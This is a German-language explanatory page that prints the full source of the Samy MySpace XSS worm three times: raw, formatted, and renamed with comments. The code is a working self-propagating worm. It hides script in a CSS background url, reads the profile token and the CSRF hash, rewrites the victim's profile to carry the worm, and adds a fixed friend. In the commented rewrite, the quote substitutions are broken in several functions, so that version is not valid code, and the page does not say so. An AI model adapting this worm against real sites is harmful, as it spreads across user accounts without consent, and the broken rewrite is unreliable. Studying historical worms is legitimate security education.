You’ve been hacked! - Der Sourcecode des MySpace-Wurms Samy

Zur Beschreibung des MySpace-Wurms Samy gehört natürlich auch dessen Sourcecode. Den finden Sie hier, in der Beschreibung sind einige Stellen mit den entsprechenden Stellen im unformatierten Code verlinkt. Diese sind rot hervorgehoben - und ihrerseits mit den entsprechenden Stellen im formatierten Code verlinkt.

Der unformatierte Code

Der Original-Code stammt von Samy Kamkars Quelle: MySpace Worm Explanation und enthält nur einen einzigen Zeilenumbruch:
<div id=mycode style="BACKGROUND: url('javaHIER
script:eval(document.all.mycode.expr)')" ...

Alle anderen unten vorkommenden Zeilenumbrüche entstehen durch den Umbruch, den der Webbrowser automatisch bei bestimmten Sonderzeichen und dem Leerzeichen einfügt, wenn die Zeile zu lang wird.

<div id=mycode style="BACKGROUND: url('java
script:
eval(document.all.mycode.expr)')"expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Der formatierte Sourcecode

Die folgende, formatierte Version des Sourcecodes basiert auf einer Mail von Antonio Fontes auf der Securityfocus-Mailingliste 'Web Application Security'. Es wird nur der Inhalt von expr gezeigt.

// die Quote-Zeichen:
var B = String.fromCharCode(34);  // "
var A = String.fromCharCode(39);  // '

function g()
{
    var C;
    try
    {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e)
    {
    }
     
    if (C)
    { 
        return C
    }
    else
    {
        return eval('document.body.inne'+'rHTML')
    }
}


function getData(AU)
{
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}


function getQueryParams()
{
    var E  = document.location.search;
    var F  = E.substring(1,E.length).split('&');
    var AS = new Array();
    for (var O = 0; O < F.length; O++)
    {
        var I = F[O].split('=');
        AS[I[0]] = I[1]
    }
    return AS
}


var J;
var AS = getQueryParams();
var L  = AS['Mytoken'];
var M  = AS['friendID'];

if (location.hostname == 'profile.myspace.com')
{
    document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
    if (!M)
     {
          getData(g())
     }
     main()
}


function getClientFID()
{
    return findIn(g(),'up_launchIC( '+A,A)
}


function nothing()
{
}


function paramsToString(AV)
{
    var N = new String();
    var O = 0;
    for (var P in AV)
    {
        if (O > 0)
        {
            N+='&'
        }
        var Q = escape(AV[P]);
        
        while (Q.indexOf('+') != -1)
        {
            Q = Q.replace('+','%2B')
        }
        
        while (Q.indexOf('&') != -1)
        {
            Q = Q.replace('&','%26')
         }

        N+=P+'='+Q;
        O++
    }
    return N
}


function httpSend(BH,BI,BJ,BK)
{
    if (!J)
    {
        return false
    }
    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);
    if (BJ == 'POST')
    {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }
     J.send(BK);
     return true
}


function findIn(BF,BB,BC)
{
    var R = BF.indexOf(BB)+BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}


function getHiddenParameter(BF,BG)
{
    return findIn(BF,'name='+B+BG+B+' value='+B,B)  
}


function getFromURL(BF,BG)
{
    var T;
    if (BG == 'Mytoken')
    {
         T = B
    }
    else
    {
        T = '&'
    }
    var U = BG+'=';
    var V = BF.indexOf(U)+U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}


function getXMLObj()
{
    var Z = false;
    if (window.XMLHttpRequest)
    {
        try
        {
            Z = new XMLHttpRequest()
        }
        catch(e)
        {
            Z = false
        }
    }
    else if (window.ActiveXObject)
    {
        try
        {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        }
        catch(e)
        {
            try
            {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            }
            catch(e)
            {
                Z = false
            }
        }
    }
    return Z
}


var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;

if (AE)
{
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF = ' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}

var AG;


function getHome()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
 
    if (AG.indexOf('samy') == -1)
    {
        if (AF)
        {
            AG+=AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit']        = 'Preview';
            AS['interest']      = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}


function postHero()
{
    if (J.readyState != 4)
    {
        return
    }
 
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit']        = 'Submit';
    AS['interest']      = AG;
    AS['hash']          = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function main()
{
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}


function processxForm()
{
    if (xmlhttp2.readyState != 4)
    {
        return
    }
 
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit']   = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}


function httpSend2(BH,BI,BJ,BK)
{
    if (!xmlhttp2)
    {
        return false
    }
 
    eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
 
    if (BJ == 'POST')
    {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
 
    xmlhttp2.send(BK);
    return true
}

Der Sourcecode, kommentiert und mit "sprechenden" Variablennamen

Ich habe den Sourcecode, der oben doch noch reichlich "obfuscated" ist, zur besseren Verständlichkeit an den entsprechenden Stellen umkodiert, die Variablennamen in "sprechende" Namen umgewandelt und die Funktionen kommentiert. Jetzt sollte der Code weitgehend selbstverständlich sein.

function HtmlSeite()
// liefert den Inhalt der aktuellen Seite als HTML-Code
{
    var C;
    try
    {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e)
    {
    }
     
    if (C)
    { 
        return C
    }
    else
    {
        return eval('document.body.innerHTML')
    }
}


function getData(AU)
// liefert den Wert der Parameter friendID und Mytoken
{
    FriendIdWert = getFromURL(AU,'friendID');
    MyTokenWert  = getFromURL(AU,'Mytoken')
}


function getQueryParams()
// legt ein Array mit den Query-Parametern an
{
    var E  = document.location.search;
    var F  = E.substring(1,E.length).split('&');
    var QueryParameterArray = new Array();
    for (var O = 0; O < F.length; O++)
    {
        var I = F[O].split('=');
        QueryParameterArray[I[0]] = I[1]
    }
    return QueryParameterArray
}


var einXmlHttpRequest;
var QueryParameterArray = getQueryParams();
var MyTokenWert         = getQueryParams()['Mytoken'];
var FriendIdWert        = getQueryParams()['friendID'];

if (location.hostname == 'profile.myspace.com')
// wenn wir auf profile.myspace.com sind auf die entsprechende Seite der 
// Hauptdomain wechseln, damit die XMLHttpRequests möglich sind
{
    document.location = 'http://www.myspace.com'+location.pathname+location.search
}
else
{
    if (!FriendIdWert)
     {
          getData(HtmlSeite())
     }
     main()
}


function getClientFID()
// Liefert die Friend-ID des aktuellen Opfers zurück
// up_launchIC() ist eine Funktion einer JavaScript-Bibliothek
// von MySpace, die von der Instant-Messaging-Funktion zur Ankündigung von 
// IM-Anfragen verwendet wird und die 
{
    return findIn(HtmlSeite(),'up_launchIC( '+',')
}


function nothing()
// macht nichts, wird als Event-Handler für einige XMLHttpRequests benötigt
{
}


function paramsToString(EingabeArray)
// wandelt das Array EingabeArray in einen Parameter-String für den URL um
{
    var NeuerString = new String();
    var Zaehler = 0;
    for (var EinParameter in EingabeArray)
    {
        if (Zaehler > 0)
        {
            NeuerString+='&'
        }
        var EscapedString = escape(EingabeArray[EinParameter]);
        
        while (EscapedString.indexOf('+') != -1)
        {
            EscapedString = EscapedString.replace('+','%2B')
        }
        
        while (EscapedString.indexOf('&') != -1)
        {
            EscapedString = EscapedString.replace('&','%26')
         }

        NeuerString+=EinParameter+'='+EscapedString;
        Zaehler++
    }
    return NeuerString
}


function httpSend(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode 
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
    if (!einXmlHttpRequest)
    {
        return false
    }
    eval('einXmlHttpRequest.onreadystatechange=RequestEventHandler');
    einXmlHttpRequest.open(RequestMethode,derUrl,true);
    if (RequestMethode == 'POST')
    {
        einXmlHttpRequest.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        einXmlHttpRequest.setRequestHeader('Content-Length',RequestDaten.length)
    }
     einXmlHttpRequest.send(RequestDaten);
     return true
}


function findIn(EingabeString,StartString,EndeString)
// Liefert den Teilstring zwischen StartString und EndeString aus dem Eingabestring
{
    var StartPosition  = EingabeString.indexOf(StartString)+StartString.length;
    var ErgebnisString = EingabeString.substring(StartPosition,StartPosition+1024);
    return ErgebnisString.substring(0,ErgebnisString.indexOf(EndeString))
}


function getHiddenParameter(EingabeString,ParameterName)
// Liefert den Wert eines Parameters aus der Eingabe
{
    return findIn(EingabeString,'name='+"+ParameterName+"+' value='+",")  
}


function getFromURL(EingabeString,ParameterName)
// Liefert den Wert des Parameters ParameterName aus dem String EingabeString (i.a. ein XMLHttpRequest-responseText)
{
    var ParameterTrenner;
    if (ParameterName == 'Mytoken')
    {
         ParameterTrenner = "
    }
    else
    {
        ParameterTrenner = '&'
    }
    var ParameterNameGleich   = ParameterName+'=';
    var StartParameterWert    = EingabeString.indexOf(ParameterNameGleich)+ParameterNameGleich.length;
    var ParameterWert1024     = EingabeString.substring(StartParameterWert,StartParameterWert+1024);
    var StartParameterTrenner = ParameterWert1024.indexOf(ParameterTrenner);
    var ParameterWertExakt    = ParameterWert1024.substring(0,StartParameterTrenner);
    return ParameterWertExakt
}


function getXMLObj()
// Erzeugt XMLHttpRequest-Objekt, wenn möglich
{
    var Z = false;
    if (window.XMLHttpRequest)
    {
        try
        {
            Z = new XMLHttpRequest()
        }
        catch(e)
        {
            Z = false
        }
    }
    else if (window.ActiveXObject)
    {
        try
        {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        }
        catch(e)
        {
            try
            {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            }
            catch(e)
            {
                Z = false
            }
        }
    }
    return Z
}


var HtmlSeite        = HtmlSeite();
var StartSamyCode    = HtmlSeite.indexOf('mycode');
var SamyCode         = HtmlSeite.substring(StartSamyCode,StartSamyCode+4096);
var StartDivSamyCode = SamyCode.indexOf('DIV');
var SamyCodeOhneDiv  = SamyCode.substring(0,StartDivSamyCode);
var SamyIsMyHeroCode;

if (SamyCodeOhneDiv)
{
    SamyCodeOhneDiv  = SamyCodeOhneDiv.replace('java','+java');
    SamyCodeOhneDiv  = SamyCodeOhneDiv.replace('expr)','expr)+');
    SamyIsMyHeroCode = ' but most of all, samy is my hero. <div id='+SamyCodeOhneDiv+'DIV>'
}

var dieProfileHeroes;


function getHome()
{
    if (einXmlHttpRequest.readyState != 4)
    {
        return
    }
 
    var derResponseText = einXmlHttpRequest.responseText;
    dieProfileHeroes    = findIn(derResponseText,'ProfileHeroes','</td>');
    dieProfileHeroes    = dieProfileHeroes.substring(61,dieProfileHeroes.length);
 
    if (dieProfileHeroes.indexOf('samy') == -1)
    {
        if (SamyIsMyHeroCode)
        {
            dieProfileHeroes+=SamyIsMyHeroCode;
            var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
            var QueryParameterArray = new Array();
            QueryParameterArray['interestLabel'] = 'heroes';
            QueryParameterArray['submit']        = 'Preview';
            QueryParameterArray['interest']      = dieProfileHeroes;
            einXmlHttpRequest = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+MyTokenWert,postHero,'POST',paramsToString(QueryParameterArray))
        }
    }
}


function postHero()
{
    if (einXmlHttpRequest.readyState != 4)
    {
        return
    }
 
    var derResponseText     = einXmlHttpRequest.responseText;
    var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
    var QueryParameterArray = new Array();
    QueryParameterArray['interestLabel'] = 'heroes';
    QueryParameterArray['submit']        = 'Submit';
    QueryParameterArray['interest']      = dieProfileHeroes;
    QueryParameterArray['hash']          = getHiddenParameter(derResponseText,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}


function main()
{
    var dieFriendId   = getClientFID();
    var derUrl        = '/index.cfm?fuseaction=user.viewProfile&friendID='+dieFriendId+'&Mytoken='+MyTokenWert;
    einXmlHttpRequest = getXMLObj();
    httpSend(derUrl,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+MyTokenWert,processxForm,'GET')
}


function processxForm()
{
    if (xmlhttp2.readyState != 4)
    {
        return
    }
 
    var derResponseText     = xmlhttp2.responseText;
    var dasCsrfToken        = getHiddenParameter(derResponseText,'hashcode');
    var MyTokenWert         = getFromURL(derResponseText,'Mytoken');
    var QueryParameterArray = new Array();
    QueryParameterArray['hashcode'] = dasCsrfToken;
    QueryParameterArray['friendID'] = '11851658';
    QueryParameterArray['submit']   = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+MyTokenWert,nothing,'POST',paramsToString(QueryParameterArray))
}


function httpSend2(derUrl,RequestEventHandler,RequestMethode,RequestDaten)
// Sendet einen XMLHttpRequest an den URL derUrl mit der RequestMethode 
// und den RequestDaten, als Event-Handler dient der RequestEventHandler
{
    if (!xmlhttp2)
    {
        return false
    }
 
    eval('xmlhttp2.onreadystatechange=RequestEventHandler');
    xmlhttp2.open(RequestMethode,derUrl,true);
 
    if (RequestMethode == 'POST')
    {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',RequestDaten.length)
    }
 
    xmlhttp2.send(RequestDaten);
    return true
}

Zurück zur Wurm-Beschreibung oder zur Kapitel-Startseite oder zur Doku-Startseite